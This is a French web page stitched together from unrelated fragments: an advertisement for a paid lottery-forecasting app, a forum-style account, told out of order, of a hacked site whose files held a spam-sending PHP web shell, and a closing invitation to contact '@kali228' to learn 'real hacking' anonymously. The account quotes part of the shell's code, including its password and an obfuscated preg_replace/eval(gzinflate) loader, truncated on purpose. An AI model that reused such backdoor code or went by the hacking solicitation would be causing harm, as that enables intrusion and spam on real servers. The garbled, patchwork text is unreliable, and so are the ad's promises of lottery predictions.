TOUT DANS UN

L’application Cybetcast, est un « Lotto Forecast » assisté par Ordinateur. Elle permet de faire Recherches et donne parfois des pronostics des jeux LOTO 5/90. Elle met à la disposition des Parieurs-« Forecasteurs » 40 modules de recherches dans plus de 30 loteries nationales et internationales (Togo, Bénin, Ghana, Côte-Ivoire, Italie). De nouveaux modules de recherches et pronostics sont régulièrement ajoutés, et les propositions d’amélioration, constamment soumises par les utilisateurs, sont toujours prises en comptes. L’abonnement pour activer l’application est de 2000 F CFA par mois, ou 5000 F CFA pour 3 mois. Pour télécharger l’application et l’installer sur votre Smartphone,

les choses que si tu n'est pas passtioner pour te donner a fond , tun ne connaitras jamais

une petit exo pour vous j'attend vos repons en commentaire merci

comment le fichier peut il se lancer tout seul ??? ( au moment ou j'ai upload le fichier sur le serveur ? ou accèdant à URL sachant que je n'ai jamais appelé URL du fichier

comment une interphase comme cela peut être crée ( à cause du preg_replace ) ?

j'arrive sur une interphase permettant upload sur le serveur en 777 , parcourir le serveur , déplacer détruire etc donc le mec fait ce qu'il veut imagine le pouvoir que tu a au control

je ne vois pas de fonction mail() donc comment il peut envoyer des mails par curiosité je lance le script en local je tombe sur un input type text avec marqué password donc j'entre le password 'dk' commenté dans le script et la MAGNIFIQUE

$auth_pass = "0ecbf9426bcfbd9a086ded5fc8c4eca8"; //password = dk $color = "#00FF66"; //Colour $default_action = "FilesMan"; $default_charset = "Windows-1251"; preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62.... // je ne mets pas la suite au cas ou ....

Le script : je regarde en local de quoi est fait le script et la je voit un truc bizarre du genre

5 min après je reçois un mail de l'équipe de sécurité que me dit qu'un script fait du spam ( envoi du mail en mass ) et donc ils ont bloqué mon compte

Ensuite j'accède à mon site par URL donné dans mon mail et la surprise ERREUR 404 je retourne sur mon compte 1&1 -> compte bloqué

Aujourd'hui je décide de changer d'hébergeur et donc me crée un compte chez 1&1 Je reçois mon mail avec les identifiants Avant cela j'ai récupérer les fichiers de mon site de mon ancien hébergeur ainsi que ma BDD Je me co en FTP sur 1&1 et je balance les fichiers , pendant le transfert de fichier je vais sur phpmyadmin de 1&1 pour y créer ma BDD

tu veux apprendre le vrais hacking , les choses qui ne sont pas sencer etre montrer en public , hacking reel en pratique viens m'ecrire ici @kali228 pour qu'ont commence la magic emssenble mais tu doit toujour garder l'anonymat ca c'est la base

invite tes amis